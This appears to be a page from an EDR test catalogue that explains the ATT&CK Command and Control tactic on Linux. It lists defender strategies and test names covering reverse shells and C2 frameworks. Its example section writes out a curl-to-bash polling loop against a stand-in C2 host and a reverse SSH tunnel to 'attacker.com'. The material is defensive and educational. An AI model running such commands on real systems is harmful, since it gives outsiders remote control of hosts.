Command and Control - TA0011
Objective:
Establish and maintain communication with compromised systems. Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim’s network structure and defenses.
-
ID: TA0011
Linux Context:
C2 on Linux often uses
HTTP/HTTPSviacurlorwget, blending with web traffic. DNS tunneling (e.g.,iodine) or SSH reverse tunnelsssh -R) provide encrypted channels. Custom ELF implants or scripts (e.g., Python-based C2) connect to attacker domains, while legitimate services like Slack, Telegram, or GitHub APIs are abused for stealth. In cloud setups, attackers leverageS3orDynamoDBfor C2 data exchange. Persistence ensures thatC2survives reboots.-
ID: TA0011
Key Techniques:
Application Layer Protocol (T1071): HTTP-based C2 with a custom client.
Encrypted Channel (T1573): SSH or TLS-based communication.
Ingress Tool Transfer (T1105): Downloading additional payloads.
Linux Example:
Running
while true; do curl -s http://c2.com/cmd | bash; sleep 60; doneorssh -R 1234:localhost:22 attacker.com.
Defender Strategies:
Inspect outbound traffic with proxies (e.g., Squid), block known C2 domains, and monitor DNS anomalies. Deploy EDR for C2 detection
The current list of corresponding EDRmetry test definitions includes:
EDR-T6254 - DNS AXFR Payload Delivery
EDR-T6264 - eBPF Keylogger + DNS RCE
EDR-T6212 - Emp3r0r C2 Shadowsocks C2
EDR-T6090 - Execute Offensive Linux Tunneling tools
EDR-T6076 - Execute process via ProxyChains
EDR-T6224 - Fileless Reverse shell with sshx
EDR-T6123.014 - Gsocket Secure Connection
EDR-T6123.013 JSP+sh
EDR-T6075 - Make Non-standard port HTTP/HTTPS connection
EDR-T6126.004 - Merlin HTTPX C2
EDR-T6126.001 - Meterpreter reverse_tcp/https
EDR-T6126.005 - Mythic+Poseidon Websockets C2
EDR-T6126.003 - Mythic+Thanalos HTTP C2
EDR-T6200 - Ngrok Tunneling
EDR-T6123.008 - openssl+bash+/dev/fd/3
EDR-T6123.010 - PHP+bash
EDR-T6126.006 - Platypus C2
EDR-T6123.001 - Process Masquerading as kworker+exec+/dev/tcp
EDR-T6123.003 - Revshell curl+telnet
EDR-T6123.002 - Revshell curlshell
EDR-T6123.004 - Revshell mkfifo+nc
EDR-T6123.016 - Revshell on LKM call_usermodehelper()
EDR-T6123.012 - Revshell over GDB
EDR-T6123.009 - Revshell perl+ENV keys
EDR-T6123.006 - Revshell Perl+socket
EDR-T6123.015 - Revshell Python TLS
EDR-T6123.005 - Revshell python+socket+pty
EDR-T6123.007 - Revshell socat+bash
EDR-T6191 - Shell over HTTP streams
EDR-T6190 - Shell Over Reverse SSH
EDR-T6126.002 - Sliver C2 MTLS
EDR-T6134 - Upgrade a reverse shell to a PTY shell
EDR-T6011.011 - Webshell PHP FFI
EDR-T6148 - XOR shell_reverse_tcp Loader